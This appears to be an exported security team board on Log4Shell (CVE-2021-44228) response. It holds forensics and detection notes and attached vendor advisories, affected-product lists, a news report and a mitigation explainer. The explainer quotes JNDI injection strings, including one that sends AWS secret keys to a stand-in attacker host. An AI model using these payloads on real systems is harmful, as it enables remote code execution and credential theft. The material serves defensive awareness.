# data[].attributes.body
- Digital Forensics team will use hard-drive duplicators or software imaging tools to clone the entire hard drive for analysis.

-  The copy must be stored on another form of media to keep the original integrity.

- Must be stored on "clean" media that doesn't contain information already

# data[].attributes.body
Log4Shell - can be exploited from remote by an unauthenticated adversary to executed arbitrary code (remote code execution – RCE)CRITICALITY - score of 10 (out of 10)

# data[].attributes.body
If data is kept by attackers for ransomeware, a good back up will deter this.

# data[].attributes.body
Staff should be aware to spot key signatures of Log4j attacks

# data[].attributes.body
Restrict the powerful commands that can be used in the power shell on workstations.

# data[].attributes.body
If Web servers are attacked, they may become non-operational or the digital forensic team will need to shut them down for evidence collection

# data[].attributes.headline
Check Public Internet Exposure to Java software

# data[].attributes.subject
Check Public Internet Exposure to Java software

# data[].attributes.body
Are the Java processes using these libraries directly accessible from the internet?

# data[].attributes.body
Do the vulnerable Java processes access critical databases or file systems in the environment?

# data[].attributes.body
Which applications use these java log4j libraries?

# data[].attributes.headline
Look for Java Making Network Connections

# data[].attributes.subject
Look for Java Making Network Connections

# data[].attributes.body
QQL queries in Qualys EDR can isolate hosts which have these types of connection

# data[].attributes.headline
Look for Java Calling Suspicious Processes

# data[].attributes.subject
Look for Java Calling Suspicious Processes

# data[].attributes.body
Commonly you will see something such as scripting languages or data transfer utilities to call for processes. QQL queries can be used to find such activity

# data[].attributes.body
Microsoft 365 Defender coordinates multiple security solutions that detect components of observed attacks taking advantage of this vulnerability, from exploitation attempts to remote code execution and post-exploitation activity.

# data[].attributes.body
Users of Microsoft Defender for Endpoint can turn on the following attack surface reduction rule to block or audit some observed activity associated with this threat.

# data[].attributes.body
consists of a list of files to monitor for changes and a set of conditions to be met for the rule to trigger.

The log inspection rule 1011241 – Apache Log4j Remote Code Execution Vulnerability (CVE-2021-44228) looks for JNDI payloads in the access logs, with the default path being /var/log/*/access. log.

# data[].attributes.body
Infoblox provides the following list of indicators of compromise (IOCs) related to Log4j exploitation activity.

# data[].attributes.attachment_link.readable_text
Infoblox provides the following list of indicators of compromise (IOCs) related to Log4j exploitation activity. Infoblox has derived these indicators from analysis on internal and customer DNS logs, open source intelligence, and collaboration with trusted security research partners. We have added the majority of these indicators to our threat intelligence feeds for situational awareness and DNS Firewall protection.

Infoblox will continue to monitor Log4j exploitation activity both internally and externally, as well as update this blog when new indicators are discovered.

Indicators Confirmed as Malicious

Suspicious Indicators

Open Source Scanners

See more Infoblox blogs on Log4j Vulnerability

# data[].attributes.attachment_link.title
The Complete List of Log4j Indicators of Compromise (IOC) to Date | Infoblox

# data[].attributes.attachment_link.description
Infoblox provides the following list of indicators of compromise (IOCs) related to Log4j exploitation activity. Infoblox has derived these indicators from analysis on internal and customer DNS logs, open source intelligence, and collaboration with trusted security research partners. We have added the majority of these indicators to our threat intelligence feeds for situational awareness and DNS Firewall protection.

# data[].attributes.body
Allows for redirection of traffic and remote access to server.

Version < 9.X was vulnerable.

# data[].attributes.attachment_link.readable_text
If you've been following tech news over the last couple of days, you'll very likely have heard about CVE-2021-44228, or "Log4Shell" as it has become known. This particular vulnerability affects Apache Log4J2, a Java logging framework. Tomcat, TomEE, and ActiveMQ themselves do not ship with log4j2, so running out-of-the-box with their default configuration they are not vulnerable to this issue.

However, before you breathe a sigh of relief, you should be aware that applications deployed on either TomEE or Tomcat can include additional Java libraries bundled inside. Any jar file included in a web application's WEB-INF/lib directory will be added to the application's classpath and can be used by code in the application. Your applications may be including log4j2 as a conscious logging choice, or it may be included as a transitive dependency of another library or framework your application is using. Either way, you ought to check your web applications for the presence of log42j (look for log4j-core*.jar), and take mitigating actions.

Since this article was published, a further CVE, CVE-2021-45046 has been made public, and the previous mitigation of setting log4j2.noFormatMsgLookup to true does not guard against this. Users are advised to update log4j2 to 2.16.0.

The Vulnerability

The vulnerability detail is available as part of the CVE here: https://nvd.nist.gov/vuln/detail/CVE-2021-44228 , and also on the Log4J2 webpage here: https://logging.apache.org/log4j/2.x/

From the CVE description:

"Apache Log4j2 <=2.14.1 JNDI features used in the configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled."

This is perhaps a little difficult to digest, so it perhaps helps to understand what's going on with the help of a simple example.

Like other vulnerabilities such as cross site scripting (XSS), this starts with untrusted user input.

Log4J2 has a JNDI plugin, which can be used to lookup values bound in JNDI. For example, it could be used to set the logging path for an application, and if that path needs to be changed for some reason, it can be changed in JNDI, rather than requiring the application to be rebuilt.

However, If an attacker is able to supply a specially crafted string to an application, such as ${jndi:ldap://evilcorp.com/} which is subsequently logged, the exploit may be triggered.

Consider the following simple example: your application uses log4j2 for logging, and when a user fails to authenticate on the login screen, you log this event along with the username that failed to authenticate, enabling you to proactively assist the user.

A simple form may look like this, and sends the username and password as a form POST:

When a login failure occurs, your application may log that event like this:

final Logger logger = LogManager.getLogger(...); logger.error("Login failed for {}", username);

In this particular case, you're logging the exact text that the attacker is entering in the username field on your form. Similar to SQL injection, if the string entered in that field is malicious and contains JNDI syntax it may trigger the JNDI plugin in log4j2. Worse than SQL injection, JNDI syntax can also include connection parameters. An example of a malicious string is ${jndi:ldap://127.0.0.1:4444/}. If it connects to an external LDAP or RMI server controlled by an attacker, it may download and execute code of the attacker's choosing.

(*) Adapted from , posted on Twitter here: https://xkcd.com/327/ https://twitter.com/HackingLZ/status/1469636791170961408, original source unknown.
A simple way to test this is to use the "nc" program to start listening for connections in a terminal window:

Enter the following text in your application's input fields (amend the IP address as appropriate for your setup):

If you see some weird characters show up in your nc window, then you have just successfully executed this vulnerability.

This is not just limited to fields that you might fill in within your application - anything that is sent to the application and subsequently logged is potentially vulnerable. HTTP request headers are often logged and are a place attackers will try and exploit this vulnerability. This is also not something that is restricted to servlet containers - anything that logs using log4j2 is potentially vulnerable.

As an example, issues have been found in the Apache James mail server with its default configuration:

Apache JAMES SMTP server is vulnerable to log4shell in its default config. pic.twitter.com/S9MLwbZDhm

- David Litchfield (@dlitchfield) December 11, 2021

Not just a RCE

This vulnerability isn't just about remote code execution, it is also possible for sensitive information to be leaked through this vulnerability. Consider the following malicious string:

${jndi:ldap://evil.attaker:1234/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}}

The above would look for the environment variables AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY and send them to the host evil.attacker:1234 as a query string. If you're running a server in EC2 on AWS and those environment variables are defined, the attacker would then be able to spin up and control machines in your AWS account.

Beyond environment variables, attackers could use Log4j2 lookups to form query strings that obtain Java process arguments and system properties, Kubernetes environment attributes, Docker attributes, and more. See Log4j2's Lookups documentation for a full list of sources.

Most critically, it should be noted that this form of attack is not Java version specific. If you are on the patched version of Java 8 and beyond, you are still vulnerable to this form of information disclosure. We have verified this attack on Java 11 and onwards.

Mitigations

There are a couple of mitigations available to you if you are running an application with a vulnerable version of log4j2.

If possible, update to log4j2-2.16.0.

Alternatively, as noted in Log4j2's documentation you can remove the JndiLookup class from the jar file:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# data[].attributes.attachment_link.description
If you've been following tech news over the last couple of days, you'll very likely have heard about CVE-2021-44228, or "Log4Shell" as it has become known. This particular vulnerability affects Apache Log4J2, a Java logging framework. Tomcat, TomEE, and ActiveMQ themselves do not ship with log4j2, so running out-of-the-box with their default configuration they are not vulnerable to this issue.

# data[].attributes.body
- Wireless devices must be examined in isolation chamber (or faraday bag) to prevent any contamination

- Device must be connected to analyse software in chamber

# data[].attributes.body
Attacks on this would allow attackers to disable firewalls to allow all traffic entering the network.

Version 6.6.0 is vulnerable to log4shell

# data[].attributes.attachment_link.readable_text
Most vendors use open source libraries which are the spinning wheel of modern day technology. We share and reuse well settled solutions and libraries of proven research. The science says "nothing is perfect, but we strive to make it less wrong". In our networking/software case we say that we need a patch.

As we in AFS deal predominately with network security, we will outline below the vulnerable products and the patches that you need to apply (if you are the administrator) for one major NetSec/Firewall vendor - Cisco Systems.
What is Log4j:
Apache Log4j is a Java-based logging utility. It is part of the Apache Logging Services, a project of the Apache Software Foundation. Log4j is one of several Java logging frameworks. It is vastly used in thousands of software products on the market today.
What is vulnerable: Apache Log4j2 vulnerability
"In Apache Log4j2 versions up to and including 2.14.1 (excluding security release 2.12.2), the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled."

Speaking in more plain language, an attacker can instruct the system to download and subsequently execute a malicious payload by submitting a specially crafted request to a vulnerable system.

What makes it worse is that after the public release of the PoC (Proof of Concept) of the exploit, everybody in the business realized it is in fact an easy exploit. Another thing to mention is the fact that Java is so widely spread and used within our products, making the identification, validation for vulnerability and patching an extremely time-consuming process, while the majority of internet baddies can fastly scan and execute the ready exploit.
Cisco products affected by Log4j
Cisco published a list of affected by Log4j security devices - the most critical vulnerability of 2021.

AFS is here to help you evaluate your security posture and help you efficiently plan and patch the critical parts of your security infrastructure.
List of vulnerable Cisco security products:
If you use the products below, you need to apply the patch ASAP.

Cisco Firepower Threat Defense (FTD) managed by Firepower Device Manager (FDM)

Cisco Identity Services Engine (ISE)

If you use the products below, you can skip the patching.
NOT vulnerable Cisco Network and Content Security Devices:

Cisco AMP Virtual Private Cloud Appliance

Cisco Adaptive Security Appliance (ASA) Software

Cisco Adaptive Security Device Manager

Cisco Adaptive Security Virtual Appliance (ASAv)

Cisco Advanced Web Security Reporting Application

Cisco Email Security Appliance (ESA)

Cisco FXOS Firepower Chassis Manager

Cisco Firepower Management Center

Cisco Firepower Next-Generation Intrusion Prevention System (NGIPS)

Cisco Firepower Threat Defense (FTD) managed by Cisco Firepower Management Center

Cisco Secure Email and Web Manager, formerly Cisco Content Security Management Appliance (SMA)

Cisco Secure Network Analytics, formerly Stealthwatch

Cisco Secure Services Proxy (CSSP)

Cisco Security Malware Analytics Appliance, formerly Cisco Threat Grid Appliance

Cisco Security Manager

Cisco Web Security Appliance (WSA)

My network is affected, how do I patch?
Ask your managed services provider to do it, or contact a consultancy company.
Conclusion:
It is not a straightforward and easy process to be properly informed for all security vulnerabilities, to know what to patch, when to patch and how to react each time a new one comes out (which is in fact quite often these days).

AFS team is here to help, this is our expertise and we will be happy to help anyone seeking consultation, advice, quick check, or patching. Just contact us!
Reference links: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd https://logging.apache.org/log4j/2.x/security.html

# data[].attributes.attachment_link.title
Cisco Products Vulnerable to Log4j - Advanced Firewall Solutions

# data[].attributes.attachment_link.description
Most vendors use open source libraries which are the spinning wheel of modern day technology. We share and reuse well settled solutions and libraries of proven research. The science says "nothing is perfect, but we strive to make it less wrong". In our networking/software case we say that we need a patch.

# data[].attributes.body
Version < 3 are vulnerable to log4shell

# data[].attributes.attachment_link.readable_text
Security Article Type

Security KB

CVE Identifier

CVE-2021-44228

Issue Summary

Apache Publication: Apache Log4j Remote Code Execution

CVE Details: CVE-2021-44228

Details

Dell is reviewing the recently published Apache Log4j Remote Code Execution vulnerability being tracked in CVE-2021-44228 and assessing impact on our products. The security of our products is a top priority and critical to protecting our customers.

Dell continues to provide updates regarding impacted and not impacted products. Customers are encouraged to revisit this article regularly to see the latest product status as it becomes available. For additional questions about Apache Log4j, review the Q&A: Additional Information for Apache Log4j Remote Code Execution Vulnerability.

Vulnerable Products

The following products are confirmed as impacted by the Apache Log4j vulnerability:

Dell EMC OpenManage Enterprise

Dell EMC PowerFlex Software (SDS)

ScaleIO Ready node R630\R730xd

VxFlex Ready Node R640\R740xd\R840

PowerFlex custom node R650\R750\R6525

Dell EMC PowerProtect DP Series Appliance (iDPA)

Patch expected 2022-05-01

Converged Infrastructure (vblock, VxBlock, VxBlock Central, AMPs, Data Protection, Tech Extensions

See vce6819 (requires customer login)

Products Confirmed Not Vulnerable:

The following products are not impacted by the Apache Log4j vulnerability:

Alienware Command Center

Alienware OC Controls

Alienware On Screen Display

Alienware Update

Ansible for Dell EMC Storage

Atmos

Avamar vproxy

CalMAN Powered Calibration Firmware

CalMAN Ready for Dell

Centera

Chassis Management Controller (CMC)

China HDD Deluxe

CloudIQ Collector

Cloud Mobility for Dell EMC Storage

Cloud Tiering Appliance

Common Event Enabler

Connectrix (Cisco MDS 9000 switches)

Connectrix B Series

CyberSense for PowerProtect Cyber Recovery

Dell BSAFE Crypto-C Micro Edition

Dell BSAFE Crypto-J

Dell BSAFE Micro Edition Suite

Dell Calibration Assistant

Dell Cinema Color

Dell Client Platforms (Latitude, OptiPlex, Alienware, Inspiron, Precision, XPS, Vostro, ChengMing) BIOS

Dell Cloud Command Repository Manager

Dell Cloud Management Agent

Dell Color Management

Dell Command Configure

Dell Command Integration Suite for System Center

Dell Command Dell Command | Intel vPro Out of Band

Dell Command Monitor

Dell Command Power Manager

Dell Command PowerShell Provider

Dell Command Update

Dell Customer Connect

Dell Data Guardian*

Dell Data Protection*

Dell Data Recovery Environment

Dell Data Vault

Dell Data Vault for Chrome OS

Dell Deployment Agent

Dell Digital Delivery

Dell Direct USB Key

Dell Display Manager 1.5 for Windows or MacOS

Dell Display Manager 2.0 for Windows or MacOS

Dell EMC AppSync

Dell EMC CloudBoost

Dell EMC CloudLink

Dell EMC Container Storage Modules

Dell EMC Data Computing Appliance (DCA)

Dell EMC DataIQ

Dell EMC Disk Library for mainframe

Dell EMC GeoDrive

Dell EMC Isilon InsightIQ

Dell EMC License Manager

Dell EMC Networking Onie

Dell EMC Networking Virtual Edge Platform with VersaOS

Dell EMC OpenManage Ansible Modules

Dell EMC OpenManage integration for Splunk

Dell EMC OpenManage Integration for VMware vCenter

Dell EMC OpenManage Management Pack for vRealize Operations

Dell EMC OpenManage Operations Connector for Micro Focus Operations Bridge Manager

Dell EMC PowerMax, VMAX, VMAX3, and VMAX AFA

Dell EMC PowerPath

Dell EMC PowerPath Management Appliance

Dell EMC PowerProtect Cyber Recovery

Dell EMC PowerScale OneFS

Dell EMC PowerShell for PowerMax

Dell EMC PowerShell for PowerStore

Dell EMC PowerShell for Unity

Dell EMC PowerSwitch Z9264F-ON BMC, Dell EMC PowerSwitch Z9432F-ON BMC

Dell EMC PowerVault ME4 Series Storage Arrays

PowerVault MDSM

PowerVault ML3

PowerVault ML3e

PowerVault TL1000

PowerVault TL2k/4K

PowerVault ML6K

PowerVault LTO

PowerVault MD3

PowerVault MD14(xx)

PowerVault NX440

PowerVault NX3240

PowerVault NX3340

Dell EMC Repository Manager (DRM)

Dell EMC SourceOne

Dell EMC Systems Update (DSU)

Dell EMC Unisphere 360

Dell EMC Virtual Storage Integrator

Dell EMC VPLEX

Dell EMC XtremIO

Dell Encryption Enterprise*

Dell Encryption Personal*

Dell Endpoint Security Suite Enterprise

Dell Hybrid Client

Dell ImageAssist

Dell Insights Client

Dell Linux Assistant

Dell Memory Solutions

Dell Mobile Connect

Dell Monitor ISP (Windows, Mac, or Linux)

Dell Monitor SDK

Dell Networking X-Series

Dell OpenManage Mobile

Dell OpenManage Server Administrator

Dell OpenManage Change Management

Dell OpenManage Enterprise Power Manager Plugin

Dell OpenManage Enterprise CloudIQ plugin

Dell Optimizer

Dell OS Recovery Tool

Dell Peripheral Manager 1.4 / 1.5 for Windows

Dell Platform Service

Dell Power Manager

Dell Power Manager Lite

Dell Precision Optimizer

Dell Precision Optimizer for Linux

Dell Premier Color

Dell Recovery (Linux)

Dell Remediation Platform

Dell Remote Execution Engine (DRONE)

Dell Security Advisory Update - DSA-2021-088

Dell Security Management Server and Dell Security Management Server Virtual*

Dell SupportAssist SOS

Dell Thin OS

Dell Threat Defense

Dell True Color

Dell Trusted Device

Dell Update

Dream Catcher

DUP Creation Service

DUP Framework (ISG)

Embedded NAS

Embedded Service Enabler

EqualLogic PS & PS Apps

Fluid FS

iDRAC Service Module (iSM)

Integrated Dell Remote Access Controller (iDRAC)

ISG Drive and Storage Media

IsilonSD Management Server

Mainframe Enablers

MDS

My Dell

MyDell Mobile

NetWorker Management Console

Networking BIOS

Networking N-Series

Networking OS 10

Networking OS 9

Networking SD-WAN Edge SD-WAN

Networking W-Series

Networking X-Series

OpenManage Integration for Microsoft System Center (OMIMSSC)

OMNIA

OpenManage Connections - Nagios

OpenManage Connections - ServiceNow

OpenManage Essentials

OpenManage Integration for Microsoft System Center for System Center Operations Manager

OpenManage Integration with Microsoft Windows Admin Center

OpenManage Network Integration

OpenManage Power Center

PowerConnect N3200

PowerConnect PC2800

PowerConnect PC8100

PowerEdge Accelerator Solutions

PowerEdge BIOS

PowerEdge Networking Solutions

PowerEdge Operating Systems

PowerEdge RAID Controller Solutions

PowerTools Agent

PPDM Kubernetes cProxy

PPDM VMware vProxy

Remotely Anywhere

Rugged Control Center (RCC)

SD ROM Utility

SDNAS

Smart Fabric Storage Software

SmartByte

SMI-S

Software RAID

Solutions Enabler

Solutions Enabler vApp

Sonic

Secure Remote Services VE

Storage Center OS and additional SC applications unless otherwise noted

SupportAssist Client Commercial

SupportAssist Client Consumer

UCC Edge

Unisphere for PowerMax

Unisphere for PowerMax vApp

Unisphere for VMAX

Unisphere for VNX

Update Manager Plugin

ViPR Controller

VNX Control Station

VNX1

VNX2

VPLEX VS2, VS6, or VPLEX Witness

vSan Ready Nodes

Wyse Proprietary OS (ThinOS)

Wyse Windows Embedded Suite

* See https://www.dell.com/support/kbdoc/000194496 for more information

Any security updates or mitigations will be communicated at https://www.dell.com/support/security when they become available. You can subscribe to our Security Alerts to be notified when these Security Advisories are posted by following the guidance here, or by following the directions in the Security Alerts section on the Security Advisories and Notices page.

Recommendations

The information should be read and used to assist in avoiding situations that may arise from the problems described herein. Dell Technologies distributes Security Advisories, Security Notices and Informational articles to bring important security information to the attention of users of the affected product(s). Dell Technologies assesses the risk based on an average of risks across a diverse set of installed systems and may not represent the actual risk to your local installation and individual environment. It is recommended that all users determine the applicability of this information to their individual environments and take appropriate actions. The information set forth herein is provided "as is" without warranty of any kind. Dell Technologies expressly disclaims all warranties, either express or implied, including the warranties of merchantability, fitness for a particular purpose, title and non-infringement. In no event shall Dell Technologies, its affiliates or suppliers, be liable for any damages whatsoever arising from or related to the information contained herein or actions that you decide to take based thereon, including any direct, indirect, incidental, consequential, loss of business profits or special damages, even if Dell Technologies, its affiliates or suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages, so the foregoing limitation shall apply to the extent permissible under law.

Product Security Information

28 Mar 2022

124

Security KB

# data[].attributes.attachment_link.title
Dell Response to Apache Log4j Remote Code Execution Vulnerability (CVE-2021-44228) | Dell UK

# data[].attributes.attachment_link.description
On December 10, 2021, a critical remote code vulnerability was published concerning the Apache Log4j library. Dell is in the process of assessing potential impact to its products.

# data[].attributes.body
Allowed for full host take over, meaning data can be stolen or the integrity can be changed.

Version  < 2.5 Vulnerable to Log4shell

# data[].attributes.attachment_link.provider_name
The Daily Swig | Cybersecurity news and views

# data[].attributes.attachment_link.readable_text
Critical security issues found in quick fix

Patches meant to protect containers Amazon Web Services (AWS) containers against the dangerous Log4Shell bug had critical vulnerabilities that could allow malicious containers to compromise the underlying host.

Due to the severity of Log4Shell, AWS released "hot patch" services that run on servers and spot and fix unpatched Java applications and containers on the fly.

The hot patches apply to standalone servers, Kubernetes clusters, and Elastic Container Service (ECS) clusters. Aside from AWS, these patches can also be installed in other cloud environments or standalone servers.

Escaping the container

Researchers at Palo Alto Networks Unit 42 discovered the vulnerability which could be exploited to take over the server or cluster running the patch service.

According to their findings, every container in a cluster can exploit the vulnerability for container escape and privilege escalation. Aside from containers, unprivileged processes can also exploit the patch service to escalate privileges and gain root code execution.

"We discovered this vulnerability soon after the tool was released as we were curious on how it patched containers," Yuval Avrahami, principal security researcher at Palo Alto Networks, told The Daily Swig.

"We quickly reported the issue to the AWS security team and worked closely with the AWS engineering team as they developed patches."

Read more of the latest security vulnerability news

The hot patch searches for 'java' binaries inside containers and invokes them with its own server-level privileges and without containerizing them. This means the process runs without the limitations normally applied to container processes.

A malicious container can include a java binary to trick the patch into invoking it with elevated privileges, escape the container, and take over the underlying host.

The researchers posted a proof-of-concept that exploits the vulnerability to escape container limits, gain root code execution on the underlying host, and send a reverse shell to an attacker-controlled server.

Possible ramifications

Avrahami said he was concerned about two main attack scenarios. First, if a publicly exposed container is compromised via some type of network attack, the threat actor can exploit the vulnerability to take over the underlying host, all neighboring containers, and possibly the hosting Kubernetes cluster.

"Unfortunately, it's not uncommon for one container escape to be enough to take over an entire Kubernetes cluster," Avrahami said.

"The vulnerability drastically increases the opportunity for lateral movement from a single compromised container to dozens and possibly hundreds."

READ MORE VMware Horizon under attack as China-based ransomware group targets Log4j vulnerability

A second possible threat is an attacker infiltrating a container image registry to stage a supply-chain attack.

"The attacker injects the exploit to a container image, facilitating the compromise of any environment that runs the image and has the hot patch installed," Avrahami said.

AWS has fixed the hot patch and released new versions.

"Organizations running container environments need to act as quickly as possible to confirm whether they're using this tool and quickly patch if they are," Avrahami said.

The challenges of container security

Hot patches are makeshift solutions that are meant as short-term fixes until a permanent patch is installed.

Given the urgency surrounding Log4Shell, many users may have installed the hot patch at scale, putting container environments at risk, Avrahami warns. Even after patching their Java applications, they may have kept the hot patch running for added safety.

"Container isolation is difficult, and there are always risks involved when developing solutions that interact with containers," Avrahami said.

"This also is a strong reminder that cloud security demands multiple layers of protections and that organizations should invest in security in depth as they increasingly transfer workloads to the cloud."

YOU MAY ALSO LIKE Researchers discover Log4j-like flaw in H2 database console

# data[].attributes.attachment_link.title
Vulnerability in AWS Log4Shell hot patch allowed full host takeover

# data[].attributes.attachment_link.description
Critical security issues found in quick fix Patches meant to protect containers Amazon Web Services (AWS) containers against the dangerous Log4Shell bug had critical vulnerabilities that could allow malicious containers to compromise the underlying host. Due to the severity of Log4Shell, AWS released "hot patch" services that run on servers and spot and fix unpatched Java applications and containers on the fly.

# data[].attributes.body
Allowed for remote access to workstations.

Vulnerable  version < 1.2.15

# data[].attributes.attachment_link.readable_text
There is a critical security vulnerability (CVE-2021-44228) in the Log4j, which is a popular logging library for Java-based applications. The vulnerability also impacts Adobe ColdFusion.

In the meantime, we recommend that ColdFusion users apply the following workarounds/mitigations steps, until this patch is released.

Even though Adobe ColdFusion uses this library, we did not find any exploitable attack vector or mechanism with Adobe ColdFusion.

ColdFusion 2021 ships with Log4j versions 2.13.3 and 1.2. The former is impacted by this vulnerability, while the latter is not.

# data[].attributes.attachment_link.description
There is a critical security vulnerability (CVE-2021-44228) in the Log4j, which is a popular logging library for Java-based applications. The vulnerability also impacts Adobe ColdFusion. In the meantime, we recommend that ColdFusion users apply the following workarounds/mitigations steps, until this patch is released.

# data[].attributes.body
Vulnerability Fixed in Apache Tomcat versions 9.x

# data[].attributes.attachment_link.readable_text
This page lists all security vulnerabilities fixed in released versions of Apache Tomcat 9.x. Each vulnerability is given a security impact rating by the Apache Tomcat security team - please note that this rating may vary from platform to platform. We also list the versions of Apache Tomcat the flaw is known to affect, and where a flaw has not been verified list the version with a question mark.

Note: Vulnerabilities that are not Tomcat vulnerabilities but have either been incorrectly reported against Tomcat or where Tomcat provides a workaround are listed at the end of this page.

Please note that binary patches are never provided. If you need to apply a source code patch, use the building instructions for the Apache Tomcat version that you are using. For Tomcat 9.0 those are building.html andBUILDING.txt. Both files can be found in the webapps/docs subdirectory of a binary distribution. You may also want to review the Security Considerations page in the documentation.

If you need help on building or configuring Tomcat or other help on following the instructions to mitigate the known vulnerabilities listed here, please send your questions to the public Tomcat Users mailing list

If you have encountered an unlisted security vulnerability or other unexpected behaviour that has security impact, or if the descriptions here are incomplete, please report them privately to the Tomcat Security Team. Thank you.
Note: The issue below was fixed in Apache Tomcat 9.0.57 but the release vote for the 9.0.57 release candidate did not pass. Therefore, although users must download 9.0.58 to obtain a version that includes a fix for these issues, version 9.0.57 is not included in the list of affected versions.
Low: Local Privilege Escalation CVE-2022-23181

The fix for bug CVE-2020-9484 introduced a time of check, time of use vulnerability that allowed a local attacker to perform actions with the privileges of the user that the Tomcat process is using. This issue is only exploitable when Tomcat is configured to persist sessions using the FileStore.

This was fixed with commit 1385c624.

This issue was reported to the Apache Tomcat Security team by Trung Pham of Viettel Cyber Security on 10 December 2021. The issue was made public on 26 January 2022.

Affects: 9.0.35 to 9.0.56

Important: Denial of Service CVE-2021-42340

The fix for bug 63362 introduced a memory leak. The object introduced to collect metrics for HTTP upgrade connections was not released for WebSocket connections once the WebSocket connection was closed. This created a memory leak that, over time, could lead to a denial of service via an OutOfMemoryError.

This was fixed with commit 80f1438e.

The memory leak was reported publicly via the users mailing list on 23 September 2021. The security implications were identified by the Tomcat Security team the same day. The issue was made public on 14 October 2021.

Affects: 9.0.40 to 9.0.53
Note: The issue below was fixed in Apache Tomcat 9.0.47 but the release vote for the 9.0.47 release candidate did not pass. Therefore, although users must download 9.0.48 to obtain a version that includes a fix for this issue, version 9.0.47 is not included in the list of affected versions.
Important: Request Smuggling CVE-2021-33037

Apache Tomcat did not correctly parse the HTTP transfer-encoding request header in some circumstances leading to the possibility of request smuggling when used with a reverse proxy. Specifically: Tomcat incorrectly ignored the transfer-encoding header if the client declared it would only accept an HTTP/1.0 response; Tomcat honoured the identify encoding; and Tomcat did not ensure that, if present, the chunked encoding was the final encoding.

This was fixed with commits 45d70a86, 05f9e8b0 and a2c3dc4c.

This issue was reported to the Apache Tomcat Security team by Bahruz Jabiyev, Steven Sprecher and Kaan Onarlioglu of NEU seclab on 7 May 2021. The issue was made public on 12 July 2021.

Affects: 9.0.0.M1 to 9.0.46

Low: Authentication weakness CVE-2021-30640

Queries made by the JNDI Realm did not always correctly escape parameters. Parameter values could be sourced from user provided data (eg user names) as well as configuration data provided by an administrator. In limited circumstances it was possible for users to authenticate using variations of their user name and/or to bypass some of the protection provided by the LockOut Realm.

This was fixed with commits c4df8d44, 749f3cc1, c6b6e101, 91ecdc61, e5006748, b5585a9e, 32993201 and 3ce84512.

This issue was reported publicly as 65224.

Affects: 9.0.0.M1 to 9.0.45

Important: Denial of Service CVE-2021-30639

An error introduced as part of a change to improve error handling during non-blocking I/O meant that the error flag associated with the Request object was not reset between requests. This meant that once a non-blocking I/O error occurred, all future requests handled by that request object would fail. Users were able to trigger non-blocking I/O errors, e.g. by dropping a connection, thereby creating the possibility of triggering a DoS.

Applications that do not use non-blocking I/O are not exposed to this vulnerability.

This was fixed with commit 8ece47c4.

This issue was reported publicly as 65203.

Affects: 9.0.44
Note: The issues below were fixed in Apache Tomcat 9.0.42 but the release vote for the 9.0.42 release candidate did not pass. Therefore, although users must download 9.0.43 to obtain a version that includes a fix for these issues, version 9.0.42 is not included in the list of affected versions.
Low: Fix for CVE-2020-9484 was incomplete CVE-2021-25329

The fix for CVE-2020-9484 was incomplete. When using a highly unlikely configuration edge case, the Tomcat instance was still vulnerable to CVE-2020-9484. Note that both the previously published prerequisites for CVE-2020-9484 and the previously published non-upgrade mitigations for CVE-2020-9484 also apply to this issue.

This was fixed with commit 4785433a.

This issue was reported to the Apache Tomcat Security team by Trung Pham of Viettel Cyber Security on 12 January 2021. The issue was made public on 1 March 2021.

Affects: 9.0.0.M1 to 9.0.41

Important: Request mix-up with h2c CVE-2021-25122

When responding to new h2c connection requests, Apache Tomcat could duplicate request headers and a limited amount of request body from one request to another meaning user A and user B could both see the results of user A's request.

This was fixed with commit d47c20a7.

This issue was identified by the Apache Tomcat Security team on 11 January 2021. The issue was made public on 1 March 2021.

Affects: 9.0.0.M1 to 9.0.41

Important: Information disclosure CVE-2021-24122

When serving resources from a network location using the NTFS file system it was possible to bypass security constraints and/or view the source code for JSPs in some configurations. The root cause was the unexpected behaviour of the JRE API File.getCanonicalPath() which in turn was caused by the inconsistent behaviour of the Windows API ( FindFirstFileW) in some circumstances.

This was fixed with commit 935fc558.

This issue was reported the Apache Tomcat Security team by Ilja Brander on 26 October 2020. The issue was made public on 14 January 2021.

Affects: 9.0.0.M1 to 9.0.39

Moderate: HTTP/2 request header mix-up CVE-2020-17527

While investigating issue 64830 it was discovered that Apache Tomcat could re-use an HTTP request header value from the previous stream received on an HTTP/2 connection for the request associated with the subsequent stream. While this would most likely lead to an error and the closure of the HTTP/2 connection, it is possible that information could leak between requests.

This was fixed with commit d56293f8.

This issue was identified by the Apache Tomcat Security team on 10 November 2020. The issue was made public on 3 December 2020.

Affects: 9.0.0-M1 to 9.0.39

Important: Remote Code Execution via session persistence CVE-2020-9484

If:

an attacker is able to control the contents and name of a file on the server; and

the server is configured to use the PersistenceManager with aFileStore; and

the PersistenceManager is configured withsessionAttributeValueClassNameFilter="null" (the default unless aSecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and

the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over;

then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control.

Note: All of conditions above must be true for the attack to succeed.

As an alternative to upgrading to 9.0.35 or later, users may configure the PersistenceManager with an appropriate value for sessionAttributeValueClassNameFilter to ensure that only application provided attributes are serialized and deserialized.

This was fixed with commit 3aa8f28d.

This issue was reported to the Apache Tomcat Security Team by by jarvis threedr3am of pdd security research on 12 April 2020. The issue was made public on 20 May 2020.

Affects: 9.0.0.M1 to 9.0.34

Important: AJP Request Injection and potential Remote Code Execution CVE-2020-1938

When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. Prior to Tomcat 9.0.31, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required.

